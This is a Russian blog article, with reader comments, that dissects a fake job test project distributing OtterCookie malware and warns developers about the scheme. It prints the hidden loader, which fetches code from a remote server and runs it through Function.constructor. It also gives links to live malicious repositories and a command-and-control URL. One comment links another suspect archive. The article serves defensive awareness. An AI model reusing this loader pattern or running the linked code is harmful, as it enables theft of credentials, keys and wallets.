Знакомая ситуация: неизвестный вам контакт пишет на LinkedIn, предлагает работу мечты: шикарная зарплата, удаленка, интересный стартап, о котором вы ни разу не слышали, но какая разница: яндекс тоже когда‑то был стартапом?.. Давайте попробуем разобраться, с тем что может пойти не так.

Интуиция подсказывает, что связываться с такими ребятами не надо, но вот почему? Мне регулярно приходят подобные сообщения. В 99% случаев я их игнорирую, пару раз отвечал, в один — даже созвонился потом с челом, даже в их слак добавился. Правда, все равно чувствовал, что меня хотят где‑то, ну назовем это — «обмануть», так что просто переставал отвечать. Но вот один мой коллега решил, что инстинкт самосохранения иногда может обманывать нас, и с великим энтузиазмом вступил в беседу.
Дальше в этой статье я расскажу вам, о том, какие потенциальные угрозы стоят за подобными предложениями, а так же о том, что такое OtterCookie. К написанию статьи меня сподвигло 2 фактора:
Статей об угрозах для разработчиков — мало.
Не хабре не ищется OtterCookie — а значит надо поделиться полезной информацией.
Мы вам пришлем небольшое тестовое задание
И все таки не каждый контакт, который пишет вам является обманщиком, иногда люди реально предлагают работу, такое тоже бывает.
Стоит добавить небольшую сноску, что последние 5 лет я работаю с криптой, я и в запусках стартапов принимал участие, и в нормальных компаниях работал, и KYC в блокчейн запихивал, и алгоритм голосования в Polkadot взламывал. Это я к чему — специфика сферы такова, что мне может написать незнакомый чел, сказать «слушай, а мне тебя рекомендовали, это же ты...» ну и дальше пошло общение, которое может привести к какой‑то деятельности. Так что сообщения от неизвестных отправителей встречаются, и иногда это не скам.
Первое о чем можно подумать, когда получаешь сообщение о том, что тебя хотят принять в команду: «вот я пройду все собесы, меня примут на работу, я отработаю месяц — а потом меня кинут, просто не заплатив денег». Вероятно, такое может быть, и я думаю, что в интернете не мало подобных историй. Лично я с таким не сталкивался, хотя бывало пару раз, когда я просил переводить оплату за первый месяц 2мя частями: раз в 2 недели.
Но все равно первым этапом должен быть скрининг: вы должны знать, в какую компанию вы устраиваетесь, какой продукт она делает, на каком этапе находится разработка. Даже, если речь идет о стартапе, у ребят должен быть минимальный набор материалов, с которыми они ходят к инвесторам и ищут команду. Но давайте предположим, что это «новый стартап», у них еще нет инвестора, но вот‑вот появится, что стейдж еще не поднят, или упал, потому что код сломался (кстати это — пример из реальной переписки c охотником). Предположим вы созвонились, пообщались, и вы готовы рискнуть.
Еще чуть‑чуть истории, перед тем как двинуться дальше. В начале июля мой бывший коллега вскользь упомянул, что собирается сделать тестовое для какого‑то стартапа, мол зовут на приличные деньги, а подработка — всегда нужна. Я сразу ему сказал, что очень сомневаюсь в его решении, что где‑то слышал, что там могут обмануть. Тем же вечером, услышал от еще одного коллеги подтверждение своих слов, и тут же написал первому: «Забирай код, давай разбираться!».
Пакеты
И вот, момент X — коллега получает ссылку на бакет, а так же на док с тестовым заданием: «есть полностью работающий сервис, надо добавить в него возможность подключения кошелька». Ничего сложного. Сайт бакета реальный, код тоже какой‑то есть, но вот клонировать что‑то не хочется. По тому качаем архивом, и начинаем всматриваться.

Проект на ноде, так что первым делом посмотрим package.json
package.json
{
"name": "technical-assessment",
"version": "0.1.0",
"private": true,
"scripts": {
"start": "concurrently \"node api/server.js\" \"next dev\"",
"server": "node api/server.js",
"dev": "next dev",
"build": "next build",
"lint": "next lint"
},
"dependencies": {
"@headlessui/react": "^2.2.0",
"@heroicons/react": "^2.2.0",
"@prisma/client": "^5.17.0",
"axios": "^1.7.9",
"bcryptjs": "^2.4.3",
"body-parser": "^1.20.2",
"classnames": "^2.5.1",
"concurrently": "^9.1.2",
"config": "^3.3.12",
"cookie-parser": "~1.4.4",
"cors": "^2.8.5",
"debug": "~2.6.9",
"dotenv": "^16.4.5",
"ethers": "^5.7.2",
"express": "^4.18.2",
"express-mongo-sanitize": "^2.2.0",
"express-rate-limit": "^6.7.0",
"express-validator": "^7.2.1",
"gravatar": "^1.8.2",
"helmet": "^6.1.5",
"hpp": "^0.2.3",
"http-errors": "~1.6.3",
"jade": "~1.11.0",
"jsonwebtoken": "^9.0.0",
"mongoose": "^5.5.2",
"morgan": "^1.10.0",
"motion": "^11.12.0",
"ndb": "^1.1.5",
"next": "15.0.3",
"next-intl": "^3.25.1",
"nodemailer-helper": "^1.0.9",
"nodemon": "^2.0.22",
"normalize-url": "^8.0.1",
"react": "^18.3.0",
"react-dom": "^18.3.0",
"slugify": "^1.6.6",
"validator": "^13.9.0",
"xss-clean": "^0.1.1"
},
"devDependencies": {
"@types/node": "^20",
"@types/react": "^18",
"@types/react-dom": "^18",
"bitcoin-core": "^4.2.0",
"eslint": "^8",
"eslint-config-next": "15.0.3",
"eslint-plugin-next": "^0.0.0",
"eslint-plugin-tailwindcss": "^3.17.5",
"postcss": "^8",
"room-populate": "^1.0.17",
"tailwindcss": "^3.4.1",
"typescript": "^5"
},
"type": "module"
}
Так, что тут... И фронт и бек, ладно... Axios, socket.io, express, ну ок... Стоп! bitcoin-core
? «Ну ясно.» — пишу я коллеге: «Они собираются на твоем M4 Pro Max запустить ноду биткоина, и попытаться смайнить блок. Да, шанс мал, но он есть. Раньше, вот в браузере на подозрительных страницах запускали, была такая тема. Переходишь по ссылке, браузер виснет, ты ждешь, ждешь... А за это время на твоей машине биточек майнится».
Начинаем искать по коду, нигде не вызывается. Не нравится! "Наверное какой-то динамический импорт есть" - думаю я. Но тоже как будто бы нет. Проверил глазами все require / import - пусто, bitcoin-core
нигде не вызывается. Есть не нулевой шанс, что пакет импортится через динамически определяемую переменную, которая может принимать на вход результат энкода какого-то хеша, типа const bitcoinCore = require(someEncode('some-hash', 'somePass'))
. Нет, пусто. Импорты нормальные. Странно, двигаемся дальше.
Кстати, потом проверил, пакет bitcoin-core
не позволяет майнить уже достаточно давно, штош.
Плохие пакеты
Следующая мысль, которая меня посетила — а что вообще за пакеты. Часть названий я знаю, часть нет. Да и много их. Что если тут и кроется атака, что если где‑то есть, предположим не axios
а aksios
. Да, я знаю, что у NPM есть свой анализатор пакетов, который как‑то выявляет вредоносные, но мало ли... В теории никто не мешает злоумышленникам создать пакет, который бы полностью реализовывал функционал другого пакета, ну и добавить что‑то «от себя». Это могло бы выглядеть примерно так:
import * as axios from "axios";
export default {
...axios,
post(...params) {
doSomethingBad();
return axios.post(...params);
}
}
Кидаем package.json в нейронку, просим пройтись по всем пакетам, выяснить когда созданы, сколько скачиваний. Говорит, все норм. Ладно...
Кстати, про нейронки. В курсоре не рискнул открывать проект, так как не знаю, на сколько он ограничен в «выполнении кода», без моего вмешательства. Так что взял архив, закинул в o3-mini‑high, сказал «ищи атаку» — не нашла. Спойлер — а она есть.
Изучаем проект
Ладно, предположим с пакетами все ок. Посмотрим в код. Какой‑то бек, какой‑то фронт, смарт контракты, ок... А это что еще за бинарники? Solidity в такое не компилится!

Меня еще очень смущает, что это находится в каталоге __MACOSX, который запушен в проект. Может где-то в проекте эти файлы вызываются через exec? Не хотелось бы проверять, если честно.
Декодим, спрашиваем у нейронок что за ерунда, получаем ответ, что вроде все ок.

Ладно, предположим... Если честно уже на этом этапе я был на 100% уверен, что нас хотят обмануть, но нужны были доказательства.
Атака через апдейт
Пришла в голову мысль, что сейчас код, хоть и выглядит сомнительным, но может быть рабочим. Но тут все равно намечается 2 вектора для атаки:
Гит хуки (маловероятно)
Апдейт кода (скорее всего)
У гита есть определенный набор хуков, которые выполняются при определенных действиях. Но это все прописывается локально. То есть, чтоб устроить атаку через хуки надо, чтобы проект был склонирован — раз, вредоносный хук был записан в .git/
— два.
Мне кажется, что более вероятно, если вам прилетит сообщение, типа: «мы там пофиксили одну багу, сделай git pull». Вы выполняете, новый код прилетает, и сразу выполняется, так как проект у вас запущен. Выглядит вполне вероятно.
Газ скам
Перед тем, как рассказать о том, где же была скрыта malware, расскажу об еще одном проекте, аналогичном. Им со мной поделился другой коллега, с точно такой же историей: «стартап, собес, сделать тестовое...». Да, в данной ситуации уязвимость была в другом месте, но тут есть важный момент, который стоит упомянуть.

Выглядит, как газ скам ханипот!
Gas scam honeypot — это популярная схема криптомошенничества, рассчитанная на алчность или невнимательность пользователей. Суть работы заключается в следующем:
Мошенник создает аккаунт, на котором нет эфира (ETH) для оплаты газа, но размещает на нем фейковые или настоящие токены, либо NFT, создающие иллюзию потенциальной прибыли.
Приватный ключ этого кошелька выкладывается в открытый доступ (например, на форумах, в чатах, социальных сетях). Иногда мошенники даже делают это с видом просьбы о помощи или невинного вопроса.
Жертва, увидев «найденный» или присланный ей приватный ключ, проверяет адрес в блокчейне и видит заманчивый баланс — токены, NFT или даже небольшие остатки монет, которые требуют оплаты газа для вывода.
Попавшись на уловку, пользователь переводит ETH на этот адрес в надежде получить более ценные активы, либо чтобы "помочь" или провести транзакцию.
Как только эфир поступает на кошелек, автоматизированный бот или скрипт мгновенно выводит средства на адрес мошенника. Часто у злоумышленников настроены специальные программы, которые мониторят такие ловушки и совершают вывод буквально за секунды.
Итог: жертва теряет свои средства, а мошенник постоянно повторяет схему с новыми адресами и жертвами.
Вывод - бесплатный сыр чаще всего встречается в мышеловке.
Угроза найдена
Возвращаемся. Да, понимаю, что ручной перебор файлов не звучит, продуктивно, но я - не безопасник, я не знаю всех уязвимостей, которые могут быть. Я - кодер, с большим опытом, и я точно знаю что api от chainlink точно лежит на другом урле - раз, и уж точно не начинается с http:// - два.

Окей, но как же это вызывается? В коде есть middleware auth, и конечно меня смущает IIFE с вызовом getPassport
.
const jwt = require('jsonwebtoken');
const getPassport = require('../config/getPassport')
const auth = (() => {
getPassport();
})();
module.exports = function (req, res, next) {
// Get token from header
const token = req.header('x-auth-token');
// Check if not token
if (!token) {
return res.status(401).json({ msg: 'No token, authorization denied' });
}
// Verify token
try {
jwt.verify(token, "hello", (error, decoded) => {
if (error) {
return res.status(401).json({ msg: 'Token is not valid' });
} else {
req.user = decoded.user;
next();
}
});
} catch (err) {
console.error('something wrong with auth middleware');
res.status(500).json({ msg: 'Server Error' });
}
};
Что же в самом getPassport?
const axios = require('axios');
const errorHandler = (error) => {
try {
if (typeof error !== 'string') {
console.error('Invalid error format. Expected a string.');
return;
}
const createHandler = (errCode) => {
try {
const handler = new (Function.constructor)('require', errCode);
return handler;
} catch (e) {
console.error('Failed:', e.message);
return null;
}
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error('Handler function is not available.');
}
} catch (globalError) {
console.error('Unexpected error inside errorHandler:', globalError.message);
}
};
const {domain, subdomain, id} = require('./constant');
const GET_RPCNODE_URL = `${domain}/${subdomain}/${id}`;
const getPassport = () => {
axios.get(GET_RPCNODE_URL)
.then(res=>res.data)
.catch(err=>errorHandler(err.response.data));
}
module.exports = getPassport;
Поясню.
const auth = (() => {
getPassport(); // Вызывает getPassport
})(); // Выполняется автоматически, в рантайме
const getPassport = () => {
axios.get(GET_RPCNODE_URL)
.then(res=>res.data)
.catch(err=>errorHandler(err.response.data));
}
// Стучится на const GET_RPCNODE_URL = `${domain}/${subdomain}/${id}`;
// Тот возвращает 400 и например, и какой-то текст (javascript код)
// Мы проваливамся в errorHandler с этим текстом (javascript кодом)
const createHandler = (errCode) => {
try {
const handler = new (Function.constructor)('require', errCode);
return handler;
} catch (e) {
console.error('Failed:', e.message);
return null;
}
};
// Тут динамически создаётся новый объект Function:
// const handler = new (Function.constructor)('require', errCode);
// превращается в
// const handler = (require) => {
// код который мы получили с серверов злоумышленников
// }
// Ну и дальше идет вызов, с передачей require в исполение
// вредоносного кода
handlerFunc(require);
Еще раз: в момент запуска проекта, код постучался на вредоносный урл, получил ошибку в ответ, к ней прилагался вредоносный код. Эта ошибка была отловлена, на основе кода была воссоздана функция, которая была автоматически запущена. А еще в эту функцию мы передали require - функцию, с помощью которой мы можем вызвать любой модуль или пакет. Красиво, что сказать.
What's in the box?
OtterCookie. Не сылшали, вот и я не слышал. Сразу приложу ссылку на оригинальный репорт, дальше ссылаться буду на него.
https://any.run/cybersecurity-blog/ottercookie-malware-analysis/

Что делает полученный вредоносный код при исполнении
1. Сбор чувствительных файлов:
Обходит диски пользователя, находит и копирует документы, изображения, seed-фразы, приватные ключи криптокошельков.
Обращается к специфическим файлам криптовалютных кошельков.
Ищет экспортированные пароли и куки популярных браузеров.
2. Сбор и кража системных данных:
Пытается прочитать файлы вроде
/etc/passwd
,/etc/shadow
(на Unix/macOS) или другие хранилища учетных данных.Получает сведения о компьютере: имя пользователя, имя машины, список процессов, версию ОС.
3. Эксплуатация менеджеров паролей и расширений:
Пытается получить данные из расширений браузеров — криптокошельки, LastPass, 1Password, KeePass и подобные.
Может искать экспортированные файлы из этих менеджеров.
4. Шпионские возможности:
Сохраняет текущее содержимое буфера обмена — часто содержит копируемые seed-фразы, пароли или приватные ключи.
В некоторых случаях умеет следить за определёнными действиями пользователя (например, копирование файлов, обращения к кошелькам).
5. Сжатие и подготовка к отправке:
Все найденные ценные данные собираются и упаковываются в архивы с нестандартными или замаскированными названиями, например,
p.zi
,p2.zip
.Вредонос может использовать разные форматы в зависимости от операционной системы.
6. Экфильтрация данных:
Архивированные данные отправляются напрямую на сервер управления (C2) через HTTP(S) с нестандартным портом и путём (
/uploads
, порт 1224).
7. Маскировка и антисандбокс:
Код может проверять, запущено ли приложение в виртуальной среде (VMware, VirtualBox), и при обнаружении тормозить выполнение или самоудаляться, чтобы затруднить анализ.
8. Загрузка следующей стадии:
Иногда вредонос качает и запускает дополнительный зловред (например, RAT InvisibleFerret), чтобы получить постоянный удалённый доступ к системе жертвы.
9. Динамическая обновляемость:
Всё, что исполняется на стороне жертвы, может обновляться злоумышленником буквально в реальном времени, потому что настоящее вредоносное содержимое приходит с удалённого API. Отправленный код для разных жертв/ОС может отличаться.

Выводы
Рассказывая мамам и бабушкам о том, что "не надо отвечать на звонки с незнакомых номеров, не надо открывать дверь газовой службе (если не вызывали), не надо устанавливать на телефон приложения из неизвестных источников", мы порой забываем, что сами можем быть под угрозой атаки. Как и писал ранее, мой коллега такой не один, кому прислали такое "тестовое". Социальная инженерия во всей красе.
Кстати, за атакой стоит Lazarus Group, что не прибавляет уверенности в том, что дальше будет легче.
Перед тем как дать ссылки на бакеты напоминание: не надо это запускать. Ознакомиться - да. Запускать - нет.
Берегите себя и свои данные. Всем удачи.
Ссылки
# Бакет от первого коллеги
https://bitbucket.org/dante-labs/dapp-poc/src/main/
# На уязвимость смотрим тут
https://bitbucket.org/dante-labs/dapp-poc/src/main/server/config/getPassport.js
# Бакеты от второго
https://bitbucket.org/inceptivework/ecommerce/src/main/
# Саму уязвимость не нашел, но есть файл
# https://bitbucket.org/inceptivework/ecommerce/src/main/server/data/util/fileDelete.js
# 1 в 1, как в репорте
https://bitbucket.org/review06/demo-build1/src/main/api/
# Тоже уязвимости напрямую не вижу, вероятно могут закинуть через апдейт
# Есть файл https://bitbucket.org/review06/demo-build1/src/main/api/config/constant.js
# А в нем export const Hashed = "http://chainlink-api-v3.cloud/api/service/token/3ae1d04a7c1a35b9edf045a7d131c4a7"
Послесловие
Если уж очень хочется запустить, делаем это в докере. А еще я написал небольшой сниппет, который позволяет в рантайме следить за тем, что и где вызывается, и прерывать выполнение. Работает пока только с CommonJS, у модулей импорты работают иначе, пока не готов погружаться в то, как переопределять их. Что-то подсказывает, что надо копать в сторону Reflection Api, но, возможно, я не прав.
Function protect
В данной ситуации я "защищаю" модуль fs (да и то не полностью), тоже самое можно поделать с чем угодно, даже с require.
const fs = require("fs");
function stringifyArg(arg) {
if (Array.isArray(arg) || (typeof arg === "object" && arg !== null)) {
return JSON.stringify(arg, null, 2)
.split("\n")
.map((e) => `\t${e}`)
.join("\n");
}
return `\t${arg}`;
}
function protect(type, functionName, args, callback) {
let path = undefined;
try {
path = new Error().stack
.split("\n")
.map((line, index, arr) =>
index > 0 && index < arr.length ? line.trim() : null,
)
.filter(Boolean)
.join("\n");
} catch {
// do nothing
}
const response = prompt(
`${path}\n${type}.${functionName}(\n${args.map(stringifyArg).join(",\n")}\n)\nRun?`,
);
if (response === null || response === "y") {
const result = callback();
console.log("Result: " + result);
const continueResponse = prompt("Continue?");
if (continueResponse === null || continueResponse === "y") {
return result;
} else {
process.exit(1);
}
} else {
process.exit(1);
}
}
Object.keys(fs).forEach((key) => {
const handler = fs[key];
if (typeof fs[key] === "function") {
fs[key] = (...args) => {
return protect(`fs`, key, args, () => {
return handler.apply(null, args);
});
};
}
});
Создадим тестовый файл
echo "asdaasd" > /tmp/a
Ну и тестовый файл
// импорт сниппета
require("./protect_fs");
// и только после него - остальные
const fs = require("fs");
const data = fs.readFileSync("/tmp/a", "utf-8");
console.log(data);
На выходе получаем:

Комментарии (12)
iluvar
18.07.2025 05:40Если кому интересно разобраться, еще одно тестовое:
I will share a demo version of the project to discuss the project in more detail in the meeting, so review and participate before the meeting.It'll give you a clearer idea of what features we've developed so far and where we're headed in the future. And please review the current UI, then give us your feedback based on your role.
https://drive.google.com/file/d/1NHOaRuvWk_UWJBb3t0qOmosQ5bQSrgkn/view?usp=sharing
PS: Запускал в Docker
isumix
18.07.2025 05:40Я в докере каждый в своем проекты запускаю с доступом только к папке проекта. Вопрос коллегам безопасникам - какие возможны опасности в этом кейсе?
ПС: также запускаю VSCode со всеми его плагинами также в докере и использую через браузер.
BulldozerBSG
18.07.2025 05:40Я не безопасник но... побег из песочницы никто не отменял. Нельзя взломать ваш компьютер только если его у вас нет.
Bonus2k
18.07.2025 05:40Я не безопасник, но Docker-контейнер по умолчанию запускается с root-правами внутри, и если не сброшены лишние привилегии или не настроена изоляция (через seccomp, AppArmor, user namespaces и т.д.), то уязвимое приложение внутри может получить доступ к ядру хоста или через volume внести изменения (например, подложить скрипт, изменить файлы и т.п.).
Фактически, запуск потенциально опасного кода в контейнере опаснее, чем запуск того же кода от непривилегированного пользователя на хостовой системе, если не отключены лишние capabilities или, что хуже, используется --privileged.
Если нужно безопасно запускать контейнеры, стоит использовать:
USER в Dockerfile,
сбрасывать все привилегии (--cap-drop=ALL),
включить --security-opt no-new-privileges,
не монтировать чувствительные ресурсы вроде docker.sock,
и по возможности - запускать rootless Docker.
isumix
18.07.2025 05:40Ого, спасибо! Я вот думал что там только его демон под рутом, а контейнеры запускаются в юзерспейсе. Сам уже давненько сижу на подмане как раз по этой причине на всякий случай.
Ru6aKa
18.07.2025 05:40Есть определенные области работы которые привлекают злоумышленников. И неудивительно что разработчики которые связанны с финансами представляют ценность для направленых атак, и не важно крипта или работа с банке.
tkutru
18.07.2025 05:40Обычный зловред. Смысл простой: не надо запускать чёрт пойми что, чёрт пойми от кого, из-под ~рута на машине с ценными данными. Единственное удивляет, что антивири и всякие прочие нейросетки не стригеррились на произвольный require в коде.
warkid
18.07.2025 05:40Ну тут вон пишут, что даже git pull может вызвать враждебный код, хотя кажется, что gigt-то уж не "нипойми что".
ion_nsk_region
18.07.2025 05:40У меня огромная просьба ко всем, кто попадёт в такую ситуацию из статьи: пожалуйста, не спешите сразу блокировать рекрутёра/HR агентство, которые вас пригласили. Сначала сообщите им что компания занимается обманом/скамом и предоставьте доказательства, а уже потом блокируйте, если хотите.
Почему это важно: Рекрутёры часто не знают о содержимом "тестового" задания. В то же самое время они занимаются распространением. Я уверен, что у таких "работодателей" нет цели трудоустроить человека, а потому и рекрутёр, зарплата которого обычно зависит от числа трудоустроенных, в конце тоже не получит никакой зарплаты. Если сообщить рекрутёру о скаме, он наверняка догадается, что нет смысла тратить время на этого "работодателя" и прекратит сотрудничество=распространение зловреда.
AcckiyGerman
Cubes OS и, в большой степени, iOS и Андроид - запускают софт в изолированных песочницах, остальные ОС имеют общее дисковое пространство к сожалению. Попытки Windows и Linux ограничить программы пользователя в его домашней папке привели к тому, что большинство софта научилось устанавливаться в домашнем окружении, не требуя разрешений админа, но потеряв при этом защиту от соседей.
Для себя сделал вывод - банковские и финансовые приложения держу в отдельном окружении.
А помню, как пришёл молодым сисадмином на предприятие, и удивился, что в бухгалтерии был выделен отдельный ПК с банковскими клиентами.